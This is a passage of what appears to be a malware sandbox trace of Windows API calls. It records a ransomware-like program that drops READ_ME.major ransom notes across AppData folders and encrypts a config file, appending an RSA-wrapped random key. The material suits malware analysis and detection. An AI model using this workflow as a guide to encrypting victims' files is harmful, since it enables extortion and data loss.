dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.310] FindNextFileW (in: hFindFile=0x2f86d28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.310] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86fe8 [0192.310] FindNextFileW (in: hFindFile=0x2f86fe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.310] FindNextFileW (in: hFindFile=0x2f86fe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0192.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\assetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc [0192.313] WriteFile (in: hFile=0x9bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.314] CloseHandle (hObject=0x9bc) returned 1 [0192.314] FindNextFileW (in: hFindFile=0x2f86fe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0192.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc [0192.315] WriteFile (in: hFile=0x9bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.316] CloseHandle (hObject=0x9bc) returned 1 [0192.316] FindNextFileW (in: hFindFile=0x2f86fe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.317] FindNextFileW (in: hFindFile=0x2f86fe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.317] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86d68 [0192.317] FindNextFileW (in: hFindFile=0x2f86d68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.317] FindNextFileW (in: hFindFile=0x2f86d68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.317] FindNextFileW (in: hFindFile=0x2f86d68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.317] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86da8 [0192.318] FindNextFileW (in: hFindFile=0x2f86da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.318] FindNextFileW (in: hFindFile=0x2f86da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.318] FindNextFileW (in: hFindFile=0x2f86da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.318] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87068 [0192.318] FindNextFileW (in: hFindFile=0x2f87068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.318] FindNextFileW (in: hFindFile=0x2f87068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0192.318] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c8 [0192.319] WriteFile (in: hFile=0x9c8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.320] CloseHandle (hObject=0x9c8) returned 1 [0192.320] FindNextFileW (in: hFindFile=0x2f87068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0192.320] FindNextFileW (in: hFindFile=0x2f87068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.321] FindNextFileW (in: hFindFile=0x2f87068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.321] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.321] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", dwFileAttributes=0x80) returned 1 [0192.321] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c8 [0192.321] GetFileSizeEx (in: hFile=0x9c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=216) returned 1 [0192.321] ReadFile (in: hFile=0x9c8, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd8, lpOverlapped=0x0) returned 1 [0192.342] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.342] WriteFile (in: hFile=0x9c8, lpBuffer=0x5aa568*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd8, lpOverlapped=0x0) returned 1 [0192.342] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd8 [0192.342] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.342] WriteFile (in: hFile=0x9c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.342] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="v0MWqhsGpAu1IpO14VjzRcLwt1hYk6P8e74boFb0jxbYGrdgHFwHvCeJojqsH1ls\n4uah2+wKy4qXFIH/plc25CfVNYcXHocVea/9QxnvSctEwOe3NvR1d9hEy9uQRGdb\nov/IMcwhYQiVTt4PF0CyvImS55LXGv1JkLZTZ5FCJOhLN8r7hhxEA/Y/R1439i+6\nZza9lrg6bWUi1uYIkuFXXLgiHNXZuYRobQPUK+FOlq6hrrpLZI+X2SexZSlSMsY3\nUCpq3ZQdjOeppPKArP9U1TZymbbdY6/ThuN4f93atzdA96umoyv2P4wn3MUt0Ypf\nB1g5gEOWONq5qepbZnpLDw==\n", pcchString=0x2e3f9a8) returned 1 [0192.343] WriteFile (in: hFile=0x9c8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.343] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.343] WriteFile (in: hFile=0x9c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.343] CloseHandle (hObject=0x9c8) returned 1 [0192.350] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86b68 [0192.350] FindNextFileW (in: hFindFile=0x2f86b68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.350] FindNextFileW (in: hFindFile=0x2f86b68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.350] FindNextFileW (in: hFindFile=0x2f86b68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0192.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9cc [0192.351] WriteFile (in: hFile=0x9cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.352] CloseHandle (hObject=0x9cc) returned 1 [0192.353] FindNextFileW (in: hFindFile=0x2f86b68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0192.353] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ba8 [0192.353] FindNextFileW (in: hFindFile=0x2f86ba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.353] FindNextFileW (in: hFindFile=0x2f86ba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0192.353] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d0 [0192.353] WriteFile (in: hFile=0x9d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.354] CloseHandle (hObject=0x9d0) returned 1 [0192.355] FindNextFileW (in: hFindFile=0x2f86ba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0192.355] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d0 [0192.356] WriteFile (in: hFile=0x9d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.357] CloseHandle (hObject=0x9d0) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x2f86ba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, 